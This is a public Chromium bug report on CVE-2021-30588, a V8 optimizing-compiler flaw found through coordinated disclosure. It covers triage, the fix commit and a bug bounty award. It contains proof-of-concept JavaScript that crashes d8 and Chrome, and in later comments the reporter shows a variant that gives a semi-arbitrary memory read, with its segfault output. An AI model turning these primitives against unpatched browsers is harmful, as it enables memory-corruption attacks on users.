

☆ Starred by 5 users

Owner:

neis@chromium.org

CC:

mvsta...@chromium.org


nicohartmann@chromium.org

neis@chromium.org

ishell@chromium.org

versp...@gmail.com

vahl@chromium.org

 ecmziegler@google.com

Status:

Verified (Closed)

Components:

Blink>JavaScript>Compiler

Modified:

Aug 3, 2021

Backlog-Rank:

Editors:

EstimatedDays:

NextAction:

OS:

Linux, Android, Windows, Chrome, Mac, Fuchsia, Lacros

Pri:

2

Type:

Bug-Security

reward-5000
Security_Severity-Low
Security_Impact-Stable
allpublic
reward-inprocess
ClusterFuzz-Verified
Test-Predator-Wrong-CLs
Test-Predator-Auto-Components
Test-Predator-Auto-Owner
CVE_description-submitted
external_security_report
Release-0-M92
CVE-2021-30588

Issue 1195650: Security: v8 SIGTRAP in optimized code
Reported by jmam...@gmail.com on Sun, Apr 4, 2021, 8:31 AM EDT

 Code

VULNERABILITY DETAILS
The following PoC crashes both debug and release builds of the latest v8 version 73787 at commit: <https://crrev.com/b2ae9951d4a12b996532022959f44a0cd10184ec>

VERSION
Chrome Version: 89.0.4389.114 64 bits + Stable
Operating System: Windows 10 x64 + Linux Ubuntu 20 x64

REPRODUCTION CASE

START_OF_POC

z=(a)=>{let y = Math.min(Infinity ? [] : Infinity, -0) / 0; if (a) y = -0; return y ? 1 : 0}
z(false); for (let i = 0; i < 0x10000; ++i) z(false)

END_OF_POC

CRASH INFORMATION
Type of crash:

on Linux Ubuntu 20 x64 at d8: Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.

on Windows 10 x64 at Chrome Browser: Snap! Error Code: STATUS_BREAKPOINT

CREDIT
Reporter credit: Jose Martinez tr0y4 from VerSprite Inc.

Comment 1 by [sheriffbot](#) on Sun, Apr 4, 2021, 8:33 AM EDT Project Member
Labels: external_security_report

Comment 2 by [ClusterFuzz](#) on Mon, Apr 5, 2021, 3:02 PM EDT Project Member
ClusterFuzz is analyzing your testcase. Developers can follow the progress at <https://clusterfuzz.com/testcase?key=5277701183963136>.

Comment 3 by ClusterFuzz on Mon, Apr 5, 2021, 9:54 PM EDT Project Member

Labels: Security_Impact-Head

Detailed Report: <https://clusterfuzz.com/testcase?key=5277701183963136>

Fuzzer: None
Job Type: linux_asan_d8
Platform Id: linux

Crash Type: Trap
Crash Address: 0x000000000000
Crash State:
v8::internal::Invoke
v8::internal::Execution::Call
v8::Script::Run

Sanitizer: address (ASAN)

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_d8&range=73690:73691

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5277701183963136

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone <https://github.com/google/clusterfuzz> && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t <https://clusterfuzz.com/testcase-detail/5277701183963136> -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFVeHj6E5jz5> so we can improve.

Comment 4 by ClusterFuzz on Mon, Apr 5, 2021, 10:41 PM EDT Project Member

Labels: OS-Linux

Comment 5 by ClusterFuzz on Tue, Apr 6, 2021, 12:20 AM EDT Project Member

Labels: Test-Predator-Auto-Components
Components: Blink>JavaScript

Automatically applying components based on crash stacktrace and information from OWNERS files.

If this is incorrect, please apply the Test-Predator-Wrong-Components label.

Comment 6 by ClusterFuzz on Tue, Apr 6, 2021, 12:20 AM EDT Project Member

Status: Assigned (was: Unconfirmed)
Owner: ishell@chromium.org
Labels: Test-Predator-Auto-Owner

Automatically assigning owner based on suspected regression changelist <https://chromium.googlesource.com/v8/v8/+bda0849019e7140496cb35068962fd339bd610c9> ([sparkplug] Enable short builtin calls by default (#3)).

If this is incorrect, please let us know why and apply the Test-Predator-Wrong-CLS label. If you aren't the correct owner for this issue, please unassign yourself as soon as possible so it can be re-triaged.

Comment 7 by ishell@chromium.org on Wed, Apr 7, 2021, 2:01 PM EDT Project Member

Status: Started (was: Assigned)

Comment 8 by ishell@chromium.org on Wed, Apr 7, 2021, 2:30 PM EDT Project Member

Status: Assigned (was: Started)
Owner: mvsta...@chromium.org
Cc: ishell@chromium.org neis@chromium.org
Labels: Test-Predator-Wrong-CLS

jmamj90@ thank you for the report!

The issue reproduces on ToT and it was already there last November: [d35aaf74e2e2a2a36458fb2437b70765da4f62d1](#), I didn't try to go deeper. TF generates breakpoints which we hit during execution.

=====

```
function z(a) {  
  let y = Math.min(Infinity ? [] : Infinity, -0) / 0;  
  if (a) y = -0;  
  return y ? 1 : 0  
}  
%PrepareFunctionForOptimization(z);  
z(false);  
%OptimizeFunctionOnNextCall(z);  
z(false);
```

Comment 9 by jmam...@gmail.com on Wed, Apr 7, 2021, 2:48 PM EDT

Hello
Thanks
could you please add my company email versprite.research@gmail.com
as a viewer for this bug, please?

Comment 10 by chomp@chromium.org on Wed, Apr 7, 2021, 5:53 PM EDT Project Member

Cc: versp...@gmail.com

Comment 11 by ishell@chromium.org on Wed, Apr 7, 2021, 5:59 PM EDT Project Member

Cc: mvsta...@chromium.org

[Issue 1106176](#) has been merged into this issue.

Comment 12 by ishell@chromium.org on Wed, Apr 7, 2021, 6:00 PM EDT Project Member

[Issue 1106170](#) has been merged into this issue.

Comment 13 by ishell@chromium.org on Wed, Apr 7, 2021, 6:01 PM EDT Project Member

[Issue 1106100](#) has been merged into this issue.

Comment 14 by [neis@chromium.org](#) on Thu, Apr 8, 2021, 2:41 AM EDT Project Member

Labels: Pri-1
Components: Blink>JavaScript>Compiler

Comment 15 by [neis@chromium.org](#) on Thu, Apr 8, 2021, 2:55 AM EDT Project Member

Owner: [neis@chromium.org](#)

Comment 16 by [neis@chromium.org](#) on Thu, Apr 8, 2021, 2:56 AM EDT Project Member

Status: Started (was: Assigned)

Another bug in SimplifiedLowering it seems.

Comment 17 by [neis@chromium.org](#) on Thu, Apr 8, 2021, 11:50 AM EDT Project Member

This one is related to dead code, and is very nasty.

Comment 18 by [neis@chromium.org](#) on Mon, Apr 12, 2021, 9:09 AM EDT Project Member

Cc: [nicohartmann@chromium.org](#)

Comment 19 by [neis@chromium.org](#) on Mon, Apr 12, 2021, 9:26 AM EDT Project Member

Labels: OS-Android OS-Chrome OS-Fuchsia OS-Mac OS-Windows OS-Lacros
Components: -Blink>JavaScript

Comment 20 by [neis@google.com](#) on Wed, Apr 14, 2021, 7:04 AM EDT Project Member

Status update: I'm looking into possible fixes. I currently believe that this is not a security issue.

Comment 21 by [Git Watcher](#) on Fri, Apr 23, 2021, 9:21 AM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/v8/v8/+01a93417e4f4bdf83a129dfc0a3e3299ca9b0f53>

commit [01a93417e4f4bdf83a129dfc0a3e3299ca9b0f53](#)

Author: Georg Neis <[neis@chromium.org](#)>

Date: Fri Apr 23 07:26:19 2021

[compiler] Aggressively lower pure dead operations to DeadValue

[Bug-chromium:1195650](#)

Change-Id: [Ia18c053d54aa62ecafc387688dfb57ee63d2a09c](#)

Reviewed-on: <https://chromium-review.googlesource.com/c/v8/v8/+2831490>

Reviewed-by: Nico Hartmann <[nicohartmann@chromium.org](#)>

Commit-Queue: Georg Neis <[neis@chromium.org](#)>

Cr-Commit-Position: refs/heads/master@{#74145}

[modify] <https://crrev.com/01a93417e4f4bdf83a129dfc0a3e3299ca9b0f53/src/compiler/simplified-lowering.cc>

[add] <https://crrev.com/01a93417e4f4bdf83a129dfc0a3e3299ca9b0f53/test/mjsunit/compiler/regress-1195650.js>

Comment 22 by [neis@chromium.org](#) on Fri, Apr 23, 2021, 9:30 AM EDT Project Member

Labels: -Restrict-View-SecurityTeam -Security_Impact-Head -external_security_report Type-Bug

Comment 23 by [neis@chromium.org](#) on Fri, Apr 23, 2021, 9:30 AM EDT Project Member

Status: Fixed (was: Started)

Comment 24 by [ClusterFuzz](#) on Fri, Apr 23, 2021, 10:58 AM EDT Project Member

Status: Verified (was: Fixed)

Labels: ClusterFuzz-Verified

ClusterFuzz testcase 5277701183963136 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_d8&range=74144:74145

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

Comment 25 by [jmam...@gmail.com](#) on Fri, Apr 23, 2021, 3:30 PM EDT

Hi! I was in vacation. For increasing security impact, I've managed to convert this trapbreakpoint bug into a bug that returns different optimized values, please launch d8 with --allow-natives-syntax:

```
z=(a)=>{let e,q = undefined; if (a){e = 0; [[Math.abs(")"]; q = 0x40000000]; return e != q}
```

```
console.log(z(false)) //prints false
;%PrepareFunctionForOptimization(z)
z(true); z(true)
;%OptimizeFunctionOnNextCall(z)
console.log(z(false)) //prints true
```

Comment 26 by [neis@chromium.org](#) on Mon, Apr 26, 2021, 4:20 AM EDT Project Member

Labels: Type-Bug-Security

Hi, this seems to rely on another bug that was fixed last week: <https://chromium-review.googlesource.com/c/v8/v8/+2839544>

Comment 27 by [sheriffbot](#) on Mon, Apr 26, 2021, 4:24 AM EDT Project Member

Labels: external_security_report

Comment 28 by [sheriffbot](#) on Mon, Apr 26, 2021, 12:42 PM EDT Project Member

Labels: reward-topanel

Comment 29 by [sheriffbot](#) on Mon, Apr 26, 2021, 2:02 PM EDT Project Member

Labels: Restrict-View-SecurityNotify

Comment 30 by [neis@google.com](#) on Wed, Apr 28, 2021, 12:07 PM EDT Project Member

Labels: Type-Bug

Comment 31 by [jmam...@gmail.com](#) on Wed, Apr 28, 2021, 12:46 PM EDT

Hi! oh sorry wrong bug,

For increasing security impact, I've managed to convert this Math.min(u ? Infinity : []) trapbreakpoint bug into a semiarbitrary read segmentation fault bug, where I specify x=0x4442221 and Javascript reads from 2x-1, in this case 0x8884441:

```
troya@ver-ubr01:/tmp/crbug-1195650$ cat 4.js
z = (a)=>{let y = Math.min(Infinity : []) % false; if (a) y = 0x7ffffff; y = Math.abs(y + 0x4442221); if (a) y = false; return y && 0}
```

```
;%PrepareFunctionForOptimization(z)
z(true)
;%OptimizeFunctionOnNextCall(z)
z(false)
```

```
troya@ver-ubr01:/tmp/crbug-1195650$ ./d8-linux-release-v8-component-74019/d8 --allow-natives-syntax 4.js
Received signal 11 SEGV_MAPERR 00008884441
```

==== C stack trace =====

```
[0x55b17e15a427]
[0x7f90b105f3c0]
[0x1752001c411b]
[end of stack trace]
Segmentation fault
```

[Comment 32](#) by [neis@google.com](#) on Wed, Apr 28, 2021, 12:54 PM EDT Project Member

Labels: Type-Bug-Security

[Comment 33](#) by [neis@google.com](#) on Wed, Apr 28, 2021, 1:37 PM EDT Project Member

Labels: Security_Severity-Low Security_Impact-Stable

You're right! Thanks for the update.

[Comment 34](#) by [sheriffbot](#) on Thu, Apr 29, 2021, 1:44 PM EDT Project Member

Labels: -Pri-1 Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 35](#) by [amyressler@google.com](#) on Thu, May 20, 2021, 1:08 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-5000

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

[Comment 36](#) by [amyressler@chromium.org](#) on Thu, May 20, 2021, 5:51 PM EDT Project Member

Congratulations, Jose! The VRP Panel has awarded you \$5000 for this report. Nice work!

[Comment 37](#) by [amyressler@google.com](#) on Fri, May 21, 2021, 5:35 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

[Comment 38](#) by [jmar...@gmail.com](#) on Mon, May 24, 2021, 8:27 PM EDT

Thank you very much!!!

could you please use my company email versprite.research@gmail.com for this reward?

Thank you

Best regards,

Jose

[Comment 39](#) by [amyressler@chromium.org](#) on Tue, May 25, 2021, 9:40 AM EDT Project Member

Hi Jose; I will reach out to the finance team to make the change. To ensure we process rewards under your company email address in the future, please either report the bug via that account OR please add reward to: <company email> in your credit info as part of your initial report. Thanks!

[Comment 40](#) by [amyressler@chromium.org](#) on Mon, Jul 19, 2021, 4:22 PM EDT Project Member

Labels: Release-0-M92

[Comment 41](#) by [amyressler@google.com](#) on Mon, Jul 19, 2021, 7:18 PM EDT Project Member

Labels: CVE-2021-30588 CVE_description-missing

[Comment 42](#) by [sheriffbot](#) on Fri, Jul 30, 2021, 1:30 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

[Comment 43](#) by [amyressler@google.com](#) on Tue, Aug 3, 2021, 3:42 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted